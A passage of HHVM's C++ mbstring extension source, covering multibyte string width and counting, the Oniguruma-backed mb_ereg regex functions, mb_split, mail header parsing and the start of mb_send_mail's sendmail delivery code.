String(newstr, ret_len, AttachString); } return false; } Variant HHVM_FUNCTION(mb_strwidth, const String& str, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); mbfl_string string; mbfl_string_init(&string); string.no_language = MBSTRG(current_language); string.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; string.val = (unsigned char *)str.data(); string.len = str.size(); if (!encoding.empty()) { string.no_encoding = mbfl_name2no_encoding(encoding.data()); if (string.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", encoding.data()); return false; } } int n = mbfl_strwidth(&string); if (n >= 0) { return n; } return false; } Variant HHVM_FUNCTION(mb_substitute_character, const Variant& substrchar /* = null_variant */) { if (substrchar.isNull()) { switch (MBSTRG(current_filter_illegal_mode)) { case MBFL_OUTPUTFILTER_ILLEGAL_MODE_NONE: return "none"; case MBFL_OUTPUTFILTER_ILLEGAL_MODE_LONG: return "long"; case MBFL_OUTPUTFILTER_ILLEGAL_MODE_ENTITY: return "entity"; default: return MBSTRG(current_filter_illegal_substchar); } } if (substrchar.isString()) { String s = substrchar.toString(); if (strcasecmp("none", s.data()) == 0) { MBSTRG(current_filter_illegal_mode) = MBFL_OUTPUTFILTER_ILLEGAL_MODE_NONE; return true; } if (strcasecmp("long", s.data()) == 0) { MBSTRG(current_filter_illegal_mode) = MBFL_OUTPUTFILTER_ILLEGAL_MODE_LONG; return true; } if (strcasecmp("entity", s.data()) == 0) { MBSTRG(current_filter_illegal_mode) = MBFL_OUTPUTFILTER_ILLEGAL_MODE_ENTITY; return true; } } int64_t n = substrchar.toInt64(); if (n < 0xffff && n > 0) { MBSTRG(current_filter_illegal_mode) = MBFL_OUTPUTFILTER_ILLEGAL_MODE_CHAR; MBSTRG(current_filter_illegal_substchar) = n; } else { raise_warning("Unknown character."); return false; } return true; } Variant HHVM_FUNCTION(mb_substr_count, const String& haystack, const String& needle, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); mbfl_string mbs_haystack; mbfl_string_init(&mbs_haystack); mbs_haystack.no_language = MBSTRG(current_language); mbs_haystack.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_haystack.val = (unsigned char *)haystack.data(); mbs_haystack.len = haystack.size(); mbfl_string mbs_needle; mbfl_string_init(&mbs_needle); mbs_needle.no_language = MBSTRG(current_language); mbs_needle.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_needle.val = (unsigned char *)needle.data(); mbs_needle.len = needle.size(); if (!encoding.empty()) { mbs_haystack.no_encoding = mbs_needle.no_encoding = mbfl_name2no_encoding(encoding.data()); if (mbs_haystack.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", encoding.data()); return false; } } if (mbs_needle.len <= 0) { raise_warning("Empty substring."); return false; } int n = mbfl_substr_count(&mbs_haystack, &mbs_needle); if (n >= 0) { return n; } return false; } /////////////////////////////////////////////////////////////////////////////// // regex helpers typedef struct _php_mb_regex_enc_name_map_t { const char *names; OnigEncoding code; } php_mb_regex_enc_name_map_t; static php_mb_regex_enc_name_map_t enc_name_map[] ={ { "EUC-JP\0EUCJP\0X-EUC-JP\0UJIS\0EUCJP\0EUCJP-WIN\0", ONIG_ENCODING_EUC_JP }, { "UTF-8\0UTF8\0", ONIG_ENCODING_UTF8 }, { "UTF-16\0UTF-16BE\0", ONIG_ENCODING_UTF16_BE }, { "UTF-16LE\0", ONIG_ENCODING_UTF16_LE }, { "UCS-4\0UTF-32\0UTF-32BE\0", ONIG_ENCODING_UTF32_BE }, { "UCS-4LE\0UTF-32LE\0", ONIG_ENCODING_UTF32_LE }, { "SJIS\0CP932\0MS932\0SHIFT_JIS\0SJIS-WIN\0WINDOWS-31J\0", ONIG_ENCODING_SJIS }, { "BIG5\0BIG-5\0BIGFIVE\0CN-BIG5\0BIG-FIVE\0", ONIG_ENCODING_BIG5 }, { "EUC-CN\0EUCCN\0EUC_CN\0GB-2312\0GB2312\0", ONIG_ENCODING_EUC_CN }, { "EUC-TW\0EUCTW\0EUC_TW\0", ONIG_ENCODING_EUC_TW }, { "EUC-KR\0EUCKR\0EUC_KR\0", ONIG_ENCODING_EUC_KR }, { "KOI8R\0KOI8-R\0KOI-8R\0", ONIG_ENCODING_KOI8_R }, { "ISO-8859-1\0ISO8859-1\0ISO_8859_1\0ISO8859_1\0", ONIG_ENCODING_ISO_8859_1 }, { "ISO-8859-2\0ISO8859-2\0ISO_8859_2\0ISO8859_2\0", ONIG_ENCODING_ISO_8859_2 }, { "ISO-8859-3\0ISO8859-3\0ISO_8859_3\0ISO8859_3\0", ONIG_ENCODING_ISO_8859_3 }, { "ISO-8859-4\0ISO8859-4\0ISO_8859_4\0ISO8859_4\0", ONIG_ENCODING_ISO_8859_4 }, { "ISO-8859-5\0ISO8859-5\0ISO_8859_5\0ISO8859_5\0", ONIG_ENCODING_ISO_8859_5 }, { "ISO-8859-6\0ISO8859-6\0ISO_8859_6\0ISO8859_6\0", ONIG_ENCODING_ISO_8859_6 }, { "ISO-8859-7\0ISO8859-7\0ISO_8859_7\0ISO8859_7\0", ONIG_ENCODING_ISO_8859_7 }, { "ISO-8859-8\0ISO8859-8\0ISO_8859_8\0ISO8859_8\0", ONIG_ENCODING_ISO_8859_8 }, { "ISO-8859-9\0ISO8859-9\0ISO_8859_9\0ISO8859_9\0", ONIG_ENCODING_ISO_8859_9 }, { "ISO-8859-10\0ISO8859-10\0ISO_8859_10\0ISO8859_10\0", ONIG_ENCODING_ISO_8859_10 }, { "ISO-8859-11\0ISO8859-11\0ISO_8859_11\0ISO8859_11\0", ONIG_ENCODING_ISO_8859_11 }, { "ISO-8859-13\0ISO8859-13\0ISO_8859_13\0ISO8859_13\0", ONIG_ENCODING_ISO_8859_13 }, { "ISO-8859-14\0ISO8859-14\0ISO_8859_14\0ISO8859_14\0", ONIG_ENCODING_ISO_8859_14 }, { "ISO-8859-15\0ISO8859-15\0ISO_8859_15\0ISO8859_15\0", ONIG_ENCODING_ISO_8859_15 }, { "ISO-8859-16\0ISO8859-16\0ISO_8859_16\0ISO8859_16\0", ONIG_ENCODING_ISO_8859_16 }, { "ASCII\0US-ASCII\0US_ASCII\0ISO646\0", ONIG_ENCODING_ASCII }, { nullptr, ONIG_ENCODING_UNDEF } }; static OnigEncoding php_mb_regex_name2mbctype(const char *pname) { const char *p; php_mb_regex_enc_name_map_t *mapping; if (pname == nullptr) { return ONIG_ENCODING_UNDEF; } for (mapping = enc_name_map; mapping->names != nullptr; mapping++) { for (p = mapping->names; *p != '\0'; p += (strlen(p) + 1)) { if (strcasecmp(p, pname) == 0) { return mapping->code; } } } return ONIG_ENCODING_UNDEF; } static const char *php_mb_regex_mbctype2name(OnigEncoding mbctype) { php_mb_regex_enc_name_map_t *mapping; for (mapping = enc_name_map; mapping->names != nullptr; mapping++) { if (mapping->code == mbctype) { return mapping->names; } } return nullptr; } /* * regex cache */ static php_mb_regex_t *php_mbregex_compile_pattern(const String& pattern, OnigOptionType options, OnigEncoding enc, OnigSyntaxType *syntax) { int err_code = 0; OnigErrorInfo err_info; OnigUChar err_str[ONIG_MAX_ERROR_MESSAGE_LEN]; php_mb_regex_t *rc = nullptr; std::string spattern = std::string(pattern.data(), pattern.size()); RegexCache &cache = MBSTRG(ht_rc); RegexCache::const_iterator it = cache.find(spattern); if (it != cache.end()) { rc = it->second; } if (!rc || rc->options != options || rc->enc != enc || rc->syntax != syntax) { if (rc) { onig_free(rc); rc = nullptr; } if ((err_code = onig_new(&rc, (OnigUChar *)pattern.data(), (OnigUChar *)(pattern.data() + pattern.size()), options,enc, syntax, &err_info)) != ONIG_NORMAL) { onig_error_code_to_str(err_str, err_code, err_info); raise_warning("mbregex compile err: %s", err_str); return nullptr; } MBSTRG(ht_rc)[spattern] = rc; } return rc; } static size_t _php_mb_regex_get_option_string(char *str, size_t len, OnigOptionType option, OnigSyntaxType *syntax) { size_t len_left = len; size_t len_req = 0; char *p = str; char c; if ((option & ONIG_OPTION_IGNORECASE) != 0) { if (len_left > 0) { --len_left; *(p++) = 'i'; } ++len_req; } if ((option & ONIG_OPTION_EXTEND) != 0) { if (len_left > 0) { --len_left; *(p++) = 'x'; } ++len_req; } if ((option & (ONIG_OPTION_MULTILINE | ONIG_OPTION_SINGLELINE)) == (ONIG_OPTION_MULTILINE | ONIG_OPTION_SINGLELINE)) { if (len_left > 0) { --len_left; *(p++) = 'p'; } ++len_req; } else { if ((option & ONIG_OPTION_MULTILINE) != 0) { if (len_left > 0) { --len_left; *(p++) = 'm'; } ++len_req; } if ((option & ONIG_OPTION_SINGLELINE) != 0) { if (len_left > 0) { --len_left; *(p++) = 's'; } ++len_req; } } if ((option & ONIG_OPTION_FIND_LONGEST) != 0) { if (len_left > 0) { --len_left; *(p++) = 'l'; } ++len_req; } if ((option & ONIG_OPTION_FIND_NOT_EMPTY) != 0) { if (len_left > 0) { --len_left; *(p++) = 'n'; } ++len_req; } c = 0; if (syntax == ONIG_SYNTAX_JAVA) { c = 'j'; } else if (syntax == ONIG_SYNTAX_GNU_REGEX) { c = 'u'; } else if (syntax == ONIG_SYNTAX_GREP) { c = 'g'; } else if (syntax == ONIG_SYNTAX_EMACS) { c = 'c'; } else if (syntax == ONIG_SYNTAX_RUBY) { c = 'r'; } else if (syntax == ONIG_SYNTAX_PERL) { c = 'z'; } else if (syntax == ONIG_SYNTAX_POSIX_BASIC) { c = 'b'; } else if (syntax == ONIG_SYNTAX_POSIX_EXTENDED) { c = 'd'; } if (c != 0) { if (len_left > 0) { --len_left; *(p++) = c; } ++len_req; } if (len_left > 0) { --len_left; *(p++) = '\0'; } ++len_req; if (len < len_req) { return len_req; } return 0; } static void _php_mb_regex_init_options(const char *parg, int narg, OnigOptionType *option, OnigSyntaxType **syntax, int *eval) { int n; char c; int optm = 0; *syntax = ONIG_SYNTAX_RUBY; if (parg != nullptr) { n = 0; while (n < narg) { c = parg[n++]; switch (c) { case 'i': optm |= ONIG_OPTION_IGNORECASE; break; case 'x': optm |= ONIG_OPTION_EXTEND; break; case 'm': optm |= ONIG_OPTION_MULTILINE; break; case 's': optm |= ONIG_OPTION_SINGLELINE; break; case 'p': optm |= ONIG_OPTION_MULTILINE | ONIG_OPTION_SINGLELINE; break; case 'l': optm |= ONIG_OPTION_FIND_LONGEST; break; case 'n': optm |= ONIG_OPTION_FIND_NOT_EMPTY; break; case 'j': *syntax = ONIG_SYNTAX_JAVA; break; case 'u': *syntax = ONIG_SYNTAX_GNU_REGEX; break; case 'g': *syntax = ONIG_SYNTAX_GREP; break; case 'c': *syntax = ONIG_SYNTAX_EMACS; break; case 'r': *syntax = ONIG_SYNTAX_RUBY; break; case 'z': *syntax = ONIG_SYNTAX_PERL; break; case 'b': *syntax = ONIG_SYNTAX_POSIX_BASIC; break; case 'd': *syntax = ONIG_SYNTAX_POSIX_EXTENDED; break; case 'e': if (eval != nullptr) *eval = 1; break; default: break; } } if (option != nullptr) *option|=optm; } } /////////////////////////////////////////////////////////////////////////////// // regex functions bool HHVM_FUNCTION(mb_ereg_match, const String& pattern, const String& str, const Variant& opt_option) { const String option = convertArg(opt_option); OnigSyntaxType *syntax; OnigOptionType noption = 0; if (!option.empty()) { _php_mb_regex_init_options(option.data(), option.size(), &noption, &syntax, nullptr); } else { noption |= MBSTRG(regex_default_options); syntax = MBSTRG(regex_default_syntax); } php_mb_regex_t *re; if ((re = php_mbregex_compile_pattern (pattern, noption, MBSTRG(current_mbctype), syntax)) == nullptr) { return false; } /* match */ int err = onig_match(re, (OnigUChar *)str.data(), (OnigUChar *)(str.data() + str.size()), (OnigUChar *)str.data(), nullptr, 0); return err >= 0; } static Variant _php_mb_regex_ereg_replace_exec(const Variant& pattern, const String& replacement, const String& str, const String& option, OnigOptionType options) { const char *p; php_mb_regex_t *re; OnigSyntaxType *syntax; OnigRegion *regs = nullptr; StringBuffer out_buf; int i, err, eval, n; OnigUChar *pos; OnigUChar *string_lim; char pat_buf[2]; const mbfl_encoding *enc; { const char *current_enc_name; current_enc_name = php_mb_regex_mbctype2name(MBSTRG(current_mbctype)); if (current_enc_name == nullptr || (enc = mbfl_name2encoding(current_enc_name)) == nullptr) { raise_warning("Unknown error"); return false; } } eval = 0; { if (!option.empty()) { _php_mb_regex_init_options(option.data(), option.size(), &options, &syntax, &eval); } else { options |= MBSTRG(regex_default_options); syntax = MBSTRG(regex_default_syntax); } } String spattern; if (pattern.isString()) { spattern = pattern.toString(); } else { /* FIXME: this code is not multibyte aware! */ pat_buf[0] = pattern.toByte(); pat_buf[1] = '\0'; spattern = String(pat_buf, 1, CopyString); } /* create regex pattern buffer */ re = php_mbregex_compile_pattern(spattern, options, MBSTRG(current_mbctype), syntax); if (re == nullptr) { return false; } if (eval) { throw_not_supported("ereg_replace", "dynamic coding"); } /* do the actual work */ err = 0; pos = (OnigUChar*)str.data(); string_lim = (OnigUChar*)(str.data() + str.size()); regs = onig_region_new(); while (err >= 0) { err = onig_search(re, (OnigUChar *)str.data(), (OnigUChar *)string_lim, pos, (OnigUChar *)string_lim, regs, 0); if (err <= -2) { OnigUChar err_str[ONIG_MAX_ERROR_MESSAGE_LEN]; onig_error_code_to_str(err_str, err); raise_warning("mbregex search failure: %s", err_str); break; } if (err >= 0) { #if moriyoshi_0 if (regs->beg[0] == regs->end[0]) { raise_warning("Empty regular expression"); break; } #endif /* copy the part of the string before the match */ out_buf.append((const char *)pos, (OnigUChar *)(str.data() + regs->beg[0]) - pos); /* copy replacement and backrefs */ i = 0; p = replacement.data(); while (i < replacement.size()) { int fwd = (int)php_mb_mbchar_bytes_ex(p, enc); n = -1; if ((replacement.size() - i) >= 2 && fwd == 1 && p[0] == '\\' && p[1] >= '0' && p[1] <= '9') { n = p[1] - '0'; } if (n >= 0 && n < regs->num_regs) { if (regs->beg[n] >= 0 && regs->beg[n] < regs->end[n] && regs->end[n] <= str.size()) { out_buf.append(str.data() + regs->beg[n], regs->end[n] - regs->beg[n]); } p += 2; i += 2; } else { out_buf.append(p, fwd); p += fwd; i += fwd; } } n = regs->end[0]; if ((pos - (OnigUChar *)str.data()) < n) { pos = (OnigUChar *)(str.data() + n); } else { if (pos < string_lim) { out_buf.append((const char *)pos, 1); } pos++; } } else { /* nomatch */ /* stick that last bit of string on our output */ if (string_lim - pos > 0) { out_buf.append((const char *)pos, string_lim - pos); } } onig_region_free(regs, 0); } if (regs != nullptr) { onig_region_free(regs, 1); } if (err <= -2) { return false; } return out_buf.detach(); } Variant HHVM_FUNCTION(mb_ereg_replace, const Variant& pattern, const String& replacement, const String& str, const Variant& opt_option) { const String option = convertArg(opt_option); return _php_mb_regex_ereg_replace_exec(pattern, replacement, str, option, 0); } Variant HHVM_FUNCTION(mb_eregi_replace, const Variant& pattern, const String& replacement, const String& str, const Variant& opt_option) { const String option = convertArg(opt_option); return _php_mb_regex_ereg_replace_exec(pattern, replacement, str, option, ONIG_OPTION_IGNORECASE); } int64_t HHVM_FUNCTION(mb_ereg_search_getpos) { return MBSTRG(search_pos); } bool HHVM_FUNCTION(mb_ereg_search_setpos, int position) { if (position < 0 || position >= (int)MBSTRG(search_str).size()) { raise_warning("Position is out of range"); MBSTRG(search_pos) = 0; return false; } MBSTRG(search_pos) = position; return true; } Variant HHVM_FUNCTION(mb_ereg_search_getregs) { OnigRegion *search_regs = MBSTRG(search_regs); if (search_regs && !MBSTRG(search_str).empty()) { Array ret; OnigUChar *str = (OnigUChar *)MBSTRG(search_str).data(); int len = MBSTRG(search_str).size(); int n = search_regs->num_regs; for (int i = 0; i < n; i++) { int beg = search_regs->beg[i]; int end = search_regs->end[i]; if (beg >= 0 && beg <= end && end <= len) { ret.append(String((const char *)(str + beg), end - beg, CopyString)); } else { ret.append(false); } } return ret; } return false; } bool HHVM_FUNCTION(mb_ereg_search_init, const String& str, const Variant& opt_pattern, const Variant& opt_option) { const String pattern = convertArg(opt_pattern); const String option = convertArg(opt_option); OnigOptionType noption = MBSTRG(regex_default_options); OnigSyntaxType *syntax = MBSTRG(regex_default_syntax); if (!option.empty()) { noption = 0; _php_mb_regex_init_options(option.data(), option.size(), &noption, &syntax, nullptr); } if (!pattern.empty()) { if ((MBSTRG(search_re) = php_mbregex_compile_pattern (pattern, noption, MBSTRG(current_mbctype), syntax)) == nullptr) { return false; } } MBSTRG(search_str) = std::string(str.data(), str.size()); MBSTRG(search_pos) = 0; if (MBSTRG(search_regs) != nullptr) { onig_region_free(MBSTRG(search_regs), 1); MBSTRG(search_regs) = (OnigRegion *)nullptr; } return true; } /* regex search */ static Variant _php_mb_regex_ereg_search_exec(const String& pattern, const String& option, int mode) { int n, i, err, pos, len, beg, end; OnigUChar *str; OnigSyntaxType *syntax = MBSTRG(regex_default_syntax); OnigOptionType noption; noption = MBSTRG(regex_default_options); if (!option.empty()) { noption = 0; _php_mb_regex_init_options(option.data(), option.size(), &noption, &syntax, nullptr); } if (!pattern.empty()) { if ((MBSTRG(search_re) = php_mbregex_compile_pattern (pattern, noption, MBSTRG(current_mbctype), syntax)) == nullptr) { return false; } } pos = MBSTRG(search_pos); str = nullptr; len = 0; if (!MBSTRG(search_str).empty()) { str = (OnigUChar *)MBSTRG(search_str).data(); len = MBSTRG(search_str).size(); } if (MBSTRG(search_re) == nullptr) { raise_warning("No regex given"); return false; } if (str == nullptr) { raise_warning("No string given"); return false; } if (MBSTRG(search_regs)) { onig_region_free(MBSTRG(search_regs), 1); } MBSTRG(search_regs) = onig_region_new(); err = onig_search(MBSTRG(search_re), str, str + len, str + pos, str + len, MBSTRG(search_regs), 0); Variant ret; if (err == ONIG_MISMATCH) { MBSTRG(search_pos) = len; ret = false; } else if (err <= -2) { OnigUChar err_str[ONIG_MAX_ERROR_MESSAGE_LEN]; onig_error_code_to_str(err_str, err); raise_warning("mbregex search failure in mbregex_search(): %s", err_str); ret = false; } else { if (MBSTRG(search_regs)->beg[0] == MBSTRG(search_regs)->end[0]) { raise_warning("Empty regular expression"); } switch (mode) { case 1: { beg = MBSTRG(search_regs)->beg[0]; end = MBSTRG(search_regs)->end[0]; ret = make_packed_array(beg, end - beg); } break; case 2: n = MBSTRG(search_regs)->num_regs; ret = Variant(Array::Create()); for (i = 0; i < n; i++) { beg = MBSTRG(search_regs)->beg[i]; end = MBSTRG(search_regs)->end[i]; if (beg >= 0 && beg <= end && end <= len) { ret.toArrRef().append( String((const char *)(str + beg), end - beg, CopyString)); } else { ret.toArrRef().append(false); } } break; default: ret = true; break; } end = MBSTRG(search_regs)->end[0]; if (pos < end) { MBSTRG(search_pos) = end; } else { MBSTRG(search_pos) = pos + 1; } } if (err < 0) { onig_region_free(MBSTRG(search_regs), 1); MBSTRG(search_regs) = (OnigRegion *)nullptr; } return ret; } Variant HHVM_FUNCTION(mb_ereg_search, const Variant& opt_pattern, const Variant& opt_option) { const String pattern = convertArg(opt_pattern); const String option = convertArg(opt_option); return _php_mb_regex_ereg_search_exec(pattern, option, 0); } Variant HHVM_FUNCTION(mb_ereg_search_pos, const Variant& opt_pattern, const Variant& opt_option) { const String pattern = convertArg(opt_pattern); const String option = convertArg(opt_option); return _php_mb_regex_ereg_search_exec(pattern, option, 1); } Variant HHVM_FUNCTION(mb_ereg_search_regs, const Variant& opt_pattern, const Variant& opt_option) { const String pattern = convertArg(opt_pattern); const String option = convertArg(opt_option); return _php_mb_regex_ereg_search_exec(pattern, option, 2); } static Variant _php_mb_regex_ereg_exec(const Variant& pattern, const String& str, Variant *regs, int icase) { php_mb_regex_t *re; OnigRegion *regions = nullptr; int i, match_len, beg, end; OnigOptionType options; options = MBSTRG(regex_default_options); if (icase) { options |= ONIG_OPTION_IGNORECASE; } /* compile the regular expression from the supplied regex */ String spattern; if (!pattern.isString()) { /* we convert numbers to integers and treat them as a string */ if (pattern.is(KindOfDouble)) { spattern = String(pattern.toInt64()); /* get rid of decimal places */ } else { spattern = pattern.toString(); } } else { spattern = pattern.toString(); } re = php_mbregex_compile_pattern(spattern, options, MBSTRG(current_mbctype), MBSTRG(regex_default_syntax)); if (re == nullptr) { return false; } regions = onig_region_new(); /* actually execute the regular expression */ if (onig_search(re, (OnigUChar *)str.data(), (OnigUChar *)(str.data() + str.size()), (OnigUChar *)str.data(), (OnigUChar *)(str.data() + str.size()), regions, 0) < 0) { onig_region_free(regions, 1); return false; } const char *s = str.data(); int string_len = str.size(); match_len = regions->end[0] - regions->beg[0]; PackedArrayInit regsPai(regions->num_regs); for (i = 0; i < regions->num_regs; i++) { beg = regions->beg[i]; end = regions->end[i]; if (beg >= 0 && beg < end && end <= string_len) { regsPai.append(String(s + beg, end - beg, CopyString)); } else { regsPai.append(false); } } if (regs) *regs = regsPai.toArray(); if (match_len == 0) { match_len = 1; } if (regions != nullptr) { onig_region_free(regions, 1); } return match_len; } Variant HHVM_FUNCTION(mb_ereg, const Variant& pattern, const String& str, VRefParam regs /* = null */) { return _php_mb_regex_ereg_exec(pattern, str, regs.getVariantOrNull(), 0); } Variant HHVM_FUNCTION(mb_eregi, const Variant& pattern, const String& str, VRefParam regs /* = null */) { return _php_mb_regex_ereg_exec(pattern, str, regs.getVariantOrNull(), 1); } Variant HHVM_FUNCTION(mb_regex_encoding, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); if (encoding.empty()) { const char *retval = php_mb_regex_mbctype2name(MBSTRG(current_mbctype)); if (retval != nullptr) { return String(retval, CopyString); } return false; } OnigEncoding mbctype = php_mb_regex_name2mbctype(encoding.data()); if (mbctype == ONIG_ENCODING_UNDEF) { raise_warning("Unknown encoding \"%s\"", encoding.data()); return false; } MBSTRG(current_mbctype) = mbctype; return true; } static void php_mb_regex_set_options(OnigOptionType options, OnigSyntaxType *syntax, OnigOptionType *prev_options, OnigSyntaxType **prev_syntax) { if (prev_options != nullptr) { *prev_options = MBSTRG(regex_default_options); } if (prev_syntax != nullptr) { *prev_syntax = MBSTRG(regex_default_syntax); } MBSTRG(regex_default_options) = options; MBSTRG(regex_default_syntax) = syntax; } String HHVM_FUNCTION(mb_regex_set_options, const Variant& opt_options) { const String options = convertArg(opt_options); OnigOptionType opt; OnigSyntaxType *syntax; char buf[16]; if (!options.empty()) { opt = 0; syntax = nullptr; _php_mb_regex_init_options(options.data(), options.size(), &opt, &syntax, nullptr); php_mb_regex_set_options(opt, syntax, nullptr, nullptr); } else { opt = MBSTRG(regex_default_options); syntax = MBSTRG(regex_default_syntax); } _php_mb_regex_get_option_string(buf, sizeof(buf), opt, syntax); return String(buf, CopyString); } Variant HHVM_FUNCTION(mb_split, const String& pattern, const String& str, int count /* = -1 */) { php_mb_regex_t *re; OnigRegion *regs = nullptr; int n, err; if (count == 0) { count = 1; } /* create regex pattern buffer */ if ((re = php_mbregex_compile_pattern(pattern, MBSTRG(regex_default_options), MBSTRG(current_mbctype), MBSTRG(regex_default_syntax))) == nullptr) { return false; } Array ret; OnigUChar *pos0 = (OnigUChar *)str.data(); OnigUChar *pos_end = (OnigUChar *)(str.data() + str.size()); OnigUChar *pos = pos0; err = 0; regs = onig_region_new(); /* churn through str, generating array entries as we go */ while ((--count != 0) && (err = onig_search(re, pos0, pos_end, pos, pos_end, regs, 0)) >= 0) { if (regs->beg[0] == regs->end[0]) { raise_warning("Empty regular expression"); break; } /* add it to the array */ if (regs->beg[0] < str.size() && regs->beg[0] >= (pos - pos0)) { ret.append(String((const char *)pos, ((OnigUChar *)(str.data() + regs->beg[0]) - pos), CopyString)); } else { err = -2; break; } /* point at our new starting point */ n = regs->end[0]; if ((pos - pos0) < n) { pos = pos0 + n; } if (count < 0) { count = 0; } onig_region_free(regs, 0); } onig_region_free(regs, 1); /* see if we encountered an error */ if (err <= -2) { OnigUChar err_str[ONIG_MAX_ERROR_MESSAGE_LEN]; onig_error_code_to_str(err_str, err); raise_warning("mbregex search failure in mbsplit(): %s", err_str); return false; } /* otherwise we just have one last element to add to the array */ n = pos_end - pos; if (n > 0) { ret.append(String((const char *)pos, n, CopyString)); } else { ret.append(""); } return ret; } /////////////////////////////////////////////////////////////////////////////// #define SKIP_LONG_HEADER_SEP_MBSTRING(str, pos) \ if (str[pos] == '\r' && str[pos + 1] == '\n' && \ (str[pos + 2] == ' ' || str[pos + 2] == '\t')) { \ pos += 2; \ while (str[pos + 1] == ' ' || str[pos + 1] == '\t') { \ pos++; \ } \ continue; \ } static int _php_mbstr_parse_mail_headers(Array &ht, const char *str, size_t str_len) { const char *ps; size_t icnt; int state = 0; int crlf_state = -1; StringBuffer token; String fld_name, fld_val; ps = str; icnt = str_len; /* * C o n t e n t - T y p e : t e x t / h t m l \r\n * ^ ^^^^^^^^^^^^^^^^^^^^^ ^^^ ^^^^^^^^^^^^^^^^^ ^^^^ * state 0 1 2 3 * * C o n t e n t - T y p e : t e x t / h t m l \r\n * ^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^ * crlf_state -1 0 1 -1 * */ while (icnt > 0) { switch (*ps) { case ':': if (crlf_state == 1) { token.append('\r'); } if (state == 0 || state == 1) { fld_name = token.detach(); state = 2; } else { token.append(*ps); } crlf_state = 0; break; case '\n': if (crlf_state == -1) { goto out; } crlf_state = -1; break; case '\r': if (crlf_state == 1) { token.append('\r'); } else { crlf_state = 1; } break; case ' ': case '\t': if (crlf_state == -1) { if (state == 3) { /* continuing from the previous line */ state = 4; } else { /* simply skipping this new line */ state = 5; } } else { if (crlf_state == 1) { token.append('\r'); } if (state == 1 || state == 3) { token.append(*ps); } } crlf_state = 0; break; default: switch (state) { case 0: token.clear(); state = 1; break; case 2: if (crlf_state != -1) { token.clear(); state = 3; break; } /* break is missing intentionally */ case 3: if (crlf_state == -1) { fld_val = token.detach(); if (!fld_name.empty() && !fld_val.empty()) { /* FIXME: some locale free implementation is * really required here,,, */ ht.set(HHVM_FN(strtoupper)(fld_name), fld_val); } state = 1; } break; case 4: token.append(' '); state = 3; break; } if (crlf_state == 1) { token.append('\r'); } token.append(*ps); crlf_state = 0; break; } ps++, icnt--; } out: if (state == 2) { token.clear(); state = 3; } if (state == 3) { fld_val = token.detach(); if (!fld_name.empty() && !fld_val.empty()) { /* FIXME: some locale free implementation is * really required here,,, */ ht.set(HHVM_FN(strtoupper)(fld_name), fld_val); } } return state; } static int php_mail(const char *to, const char *subject, const char *message, const char *headers, const char *extra_cmd) { const char *sendmail_path = "/usr/sbin/sendmail -t -i"; String sendmail_cmd = sendmail_path; if (extra_cmd != nullptr) { sendmail_cmd += " "; sendmail_cmd += extra_cmd; } /* Since popen() doesn't indicate if the internal fork() doesn't work * (e.g. the shell can't be executed) we explicitly set it to 0 to be * sure we don't catch any older errno value. */ errno = 0; FILE *sendmail = popen(sendmail_cmd.data(), "w"); if (sendmail == nullptr) { raise_warning("Could not execute mail delivery program '%s'", sendmail_path); return 0; } if (EACCES == errno) { raise_warning("Permission denied: unable to execute shell to run " "mail delivery binary '%s'", sendmail_path); pclose(sendmail); return 0; } fprintf(sendmail, "To: %s\n", to); fprintf(sendmail, "Subject: %s\n", subject); if (headers != nullptr) { fprintf(sendmail, "%s\n", headers); } fprintf(sendmail, "\n%s\n", message); int ret = pclose(sendmail); #if defined(EX_TEMPFAIL) if ((ret != EX_OK) && (ret != EX_TEMPFAIL)) return 0; #elif defined(EX_OK) if (ret != EX_OK) return 0; #else if (ret != 0) return 0; #endif return 1; } bool HHVM_FUNCTION(mb_send_mail, const String& to, const String& subject, const String& message, const Variant& opt_headers, const Variant& opt_extra_cmd) { const String headers = convertArg(opt_headers); const String extra_cmd = convertArg(opt_extra_cmd); /* initialize */ /* automatic allocateable buffer for additional header */ mbfl_memory_device device; mbfl_memory_device_init(&device, 0, 0); mbfl_string orig_str, conv_str; mbfl_string_init(&orig_str); mbfl_string_init(&conv_str); /* character-set, transfer-encoding */ mbfl_no_encoding tran_cs, /* transfar text charset */ head_enc, /* header transfar encoding */ body_enc; /* body transfar encoding */ tran_cs = mbfl_no_encoding_utf8; head_enc = mbfl_no_encoding_base64; body_enc = mbfl_no_encoding_base64; const mbfl_language *lang = mbfl_no2language(MBSTRG(current_language)); if (lang != nullptr) { tran_cs = lang->mail_charset; head_enc = lang->mail_header_encoding; body_enc = lang->mail_body_encoding; } Array ht_headers; if (!headers.empty()) { _php_mbstr_parse_mail_headers(ht_headers, headers.data(), headers.size()); } struct { unsigned int cnt_type:1; unsigned int cnt_trans_enc:1; } suppressed_hdrs = { 0, 0 }; static const StaticString s_CONTENT_TYPE("CONTENT-TYPE"); String s = ht_headers[s_CONTENT_TYPE].toString(); if (!s.isNull()) { char *tmp; char *param_name; char *charset = nullptr; char *p = const_cast<char*>(strchr(s.data(), ';')); if (p != nullptr) { /* skipping the padded spaces */ do { ++p; } while (*p == ' ' || *p == '\t'); if (*p != '\0') { if ((param_name = strtok_r(p, "= ", &tmp)) != nullptr) { if (strcasecmp(param_name, "charset") == 0) { mbfl_no_encoding _tran_cs = tran_cs; charset = strtok_r(nullptr, "= ", &tmp); if (charset != nullptr) { _tran_cs = mbfl_name2no_encoding(charset); } if (_tran_cs == mbfl_no_encoding_invalid) { raise_warning("Unsupported charset \"%s\" - " "will be regarded as ascii", charset); _tran_cs = mbfl_no_encoding_ascii; } tran_cs = _tran_cs; } } } } suppressed_hdrs.cnt_type = 1; } static const StaticString s_CONTENT_TRANSFER_ENCODING("CONTENT-TRANSFER-ENCODING"); s = ht_headers[s_CONTENT_TRANSFER_ENCODING].toString(); if (!s.isNull()) { mbfl_no_encoding _body_enc = mbfl_name2no_encoding(s.data()); switch (_body_enc) { case mbfl_no_encoding_base64: case mbfl_no_encoding_7bit: case mbfl_no_encoding_8bit: body_enc = _body_enc; break; default: raise_warning("Unsupported transfer encoding \"%s\" - " "will be regarded as 8bit", s.data()); body_enc = 